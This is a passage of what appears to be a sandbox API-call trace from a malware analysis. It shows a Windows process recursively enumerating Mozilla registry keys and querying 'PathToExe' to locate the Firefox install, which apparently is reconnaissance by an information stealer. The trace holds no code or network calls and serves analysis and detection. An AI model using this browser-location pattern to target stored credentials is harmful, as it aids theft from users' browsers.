RegCloseKey (hKey=0x3b4) returned 0x0 [0048.184] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xefba8 | out: phkResult=0xefba8*=0x3b4) returned 0x0 [0048.184] RegQueryValueExA (in: hKey=0x3b4, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefba0, lpData=0x0, lpcbData=0xefba4*=0xefb8c | out: lpType=0xefba0*=0x0, lpData=0x0, lpcbData=0xefba4*=0x0) returned 0x2 [0048.184] RegCloseKey (hKey=0x3b4) returned 0x0 [0048.184] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x74ccd0 [0048.184] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3b4) returned 0x0 [0048.184] RegEnumKeyExA (in: hKey=0x3b4, dwIndex=0x0, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.184] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.184] lstrlenA (lpString="\\") returned 1 [0048.184] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.184] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.184] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.184] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.184] lstrlenA (lpString="Firefox") returned 7 [0048.184] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0048.184] lstrcpyA (in: lpString1=0x758820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.184] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.184] LocalFree (hMem=0x716ef8) returned 0x0 [0048.185] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Mozilla") returned="Mozilla\\Firefox" [0048.185] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.185] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.185] RegCloseKey (hKey=0x394) returned 0x0 [0048.185] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.185] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.185] RegCloseKey (hKey=0x394) returned 0x0 [0048.185] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x394) returned 0x0 [0048.185] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb6c, lpData=0x0, lpcbData=0xefb70*=0xefb58 | out: lpType=0xefb6c*=0x0, lpData=0x0, lpcbData=0xefb70*=0x0) returned 0x2 [0048.185] RegCloseKey (hKey=0x394) returned 0x0 [0048.185] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.185] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.185] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.185] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0048.185] lstrlenA (lpString="\\") returned 1 [0048.185] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0048.185] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.185] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.185] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0048.185] lstrlenA (lpString="Crash Reporter") returned 14 [0048.185] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x754820 [0048.185] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.185] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0048.185] LocalFree (hMem=0x7588c8) returned 0x0 [0048.185] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Mozilla") returned="Mozilla\\Firefox\\Crash Reporter" [0048.185] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.185] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.185] RegCloseKey (hKey=0x398) returned 0x0 [0048.185] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.185] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.186] RegCloseKey (hKey=0x398) returned 0x0 [0048.186] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x398) returned 0x0 [0048.186] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb38, lpData=0x0, lpcbData=0xefb3c*=0xefb24 | out: lpType=0xefb38*=0x0, lpData=0x0, lpcbData=0xefb3c*=0x0) returned 0x2 [0048.186] RegCloseKey (hKey=0x398) returned 0x0 [0048.186] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.186] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.186] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.186] RegCloseKey (hKey=0x398) returned 0x0 [0048.186] LocalFree (hMem=0x75b090) returned 0x0 [0048.186] LocalFree (hMem=0x754820) returned 0x0 [0048.186] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.186] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0048.186] lstrlenA (lpString="\\") returned 1 [0048.186] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0048.186] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.186] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.186] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0048.186] lstrlenA (lpString="TaskBarIDs") returned 10 [0048.186] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0048.186] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.186] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0048.186] LocalFree (hMem=0x7588c8) returned 0x0 [0048.186] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Mozilla") returned="Mozilla\\Firefox\\TaskBarIDs" [0048.186] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.186] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.186] RegCloseKey (hKey=0x398) returned 0x0 [0048.186] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.186] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.186] RegCloseKey (hKey=0x398) returned 0x0 [0048.186] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x398) returned 0x0 [0048.187] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb38, lpData=0x0, lpcbData=0xefb3c*=0xefb24 | out: lpType=0xefb38*=0x0, lpData=0x0, lpcbData=0xefb3c*=0x0) returned 0x2 [0048.187] RegCloseKey (hKey=0x398) returned 0x0 [0048.187] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.187] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.187] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.187] RegCloseKey (hKey=0x398) returned 0x0 [0048.187] LocalFree (hMem=0x75b090) returned 0x0 [0048.187] LocalFree (hMem=0x754820) returned 0x0 [0048.187] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.187] RegCloseKey (hKey=0x394) returned 0x0 [0048.187] LocalFree (hMem=0x75a808) returned 0x0 [0048.187] LocalFree (hMem=0x758820) returned 0x0 [0048.187] RegEnumKeyExA (in: hKey=0x3b4, dwIndex=0x1, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.187] RegCloseKey (hKey=0x3b4) returned 0x0 [0048.187] LocalFree (hMem=0x74ccd0) returned 0x0 [0048.187] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Mozilla") returned="Mozilla" [0048.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc00 | out: phkResult=0xefc00*=0x3b4) returned 0x0 [0048.187] RegQueryValueExA (in: hKey=0x3b4, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbf8, lpData=0x0, lpcbData=0xefbfc*=0x7 | out: lpType=0xefbf8*=0x0, lpData=0x0, lpcbData=0xefbfc*=0x0) returned 0x2 [0048.187] RegCloseKey (hKey=0x3b4) returned 0x0 [0048.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xefbd4 | out: phkResult=0xefbd4*=0x3b4) returned 0x0 [0048.187] RegQueryValueExA (in: hKey=0x3b4, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbcc, lpData=0x0, lpcbData=0xefbd0*=0xefbb8 | out: lpType=0xefbcc*=0x0, lpData=0x0, lpcbData=0xefbd0*=0x0) returned 0x2 [0048.187] RegCloseKey (hKey=0x3b4) returned 0x0 [0048.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20119, phkResult=0xefba8 | out: phkResult=0xefba8*=0x3b4) returned 0x0 [0048.187] RegQueryValueExA (in: hKey=0x3b4, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefba0, lpData=0x0, lpcbData=0xefba4*=0xefb8c | out: lpType=0xefba0*=0x0, lpData=0x0, lpcbData=0xefba4*=0x0) returned 0x2 [0048.187] RegCloseKey (hKey=0x3b4) returned 0x0 [0048.187] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x74ccd0 [0048.187] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3b4) returned 0x0 [0048.188] RegEnumKeyExA (in: hKey=0x3b4, dwIndex=0x0, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.188] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.188] lstrlenA (lpString="\\") returned 1 [0048.188] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.188] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.188] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.188] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.188] lstrlenA (lpString="Firefox") returned 7 [0048.188] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0048.188] lstrcpyA (in: lpString1=0x758820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.188] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.188] LocalFree (hMem=0x716ef8) returned 0x0 [0048.188] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Mozilla") returned="Mozilla\\Firefox" [0048.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.188] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.188] RegCloseKey (hKey=0x394) returned 0x0 [0048.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.188] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.188] RegCloseKey (hKey=0x394) returned 0x0 [0048.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0048.188] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.188] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.188] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.188] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0048.188] lstrlenA (lpString="\\") returned 1 [0048.188] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0048.188] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.188] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.188] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0048.188] lstrlenA (lpString="TaskBarIDs") returned 10 [0048.188] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0048.188] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.188] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0048.188] LocalFree (hMem=0x7588c8) returned 0x0 [0048.188] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Mozilla") returned="Mozilla\\Firefox\\TaskBarIDs" [0048.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.189] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.189] RegCloseKey (hKey=0x398) returned 0x0 [0048.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.189] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.189] RegCloseKey (hKey=0x398) returned 0x0 [0048.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0048.189] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.189] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.189] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.189] RegCloseKey (hKey=0x398) returned 0x0 [0048.189] LocalFree (hMem=0x75b090) returned 0x0 [0048.189] LocalFree (hMem=0x754820) returned 0x0 [0048.189] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.189] RegCloseKey (hKey=0x394) returned 0x0 [0048.189] LocalFree (hMem=0x75a808) returned 0x0 [0048.189] LocalFree (hMem=0x758820) returned 0x0 [0048.189] RegEnumKeyExA (in: hKey=0x3b4, dwIndex=0x1, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.189] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.189] lstrlenA (lpString="\\") returned 1 [0048.189] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.189] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.189] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.189] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.189] lstrlenA (lpString="Mozilla Firefox") returned 15 [0048.189] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0048.189] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.189] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0048.189] LocalFree (hMem=0x716ef8) returned 0x0 [0048.189] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox" [0048.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.189] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.189] RegCloseKey (hKey=0x394) returned 0x0 [0048.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.190] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.190] RegCloseKey (hKey=0x394) returned 0x0 [0048.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0048.190] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.190] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.190] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.190] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0048.190] lstrlenA (lpString="\\") returned 1 [0048.190] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x7548d0 [0048.190] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0048.190] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0048.190] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0048.190] lstrlenA (lpString="25.0 (en-US)") returned 12 [0048.190] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7508d8 [0048.190] lstrcpyA (in: lpString1=0x7508d8, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0048.190] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0048.190] LocalFree (hMem=0x7548d0) returned 0x0 [0048.190] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0048.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.190] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.190] RegCloseKey (hKey=0x398) returned 0x0 [0048.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.190] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.190] RegCloseKey (hKey=0x398) returned 0x0 [0048.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", 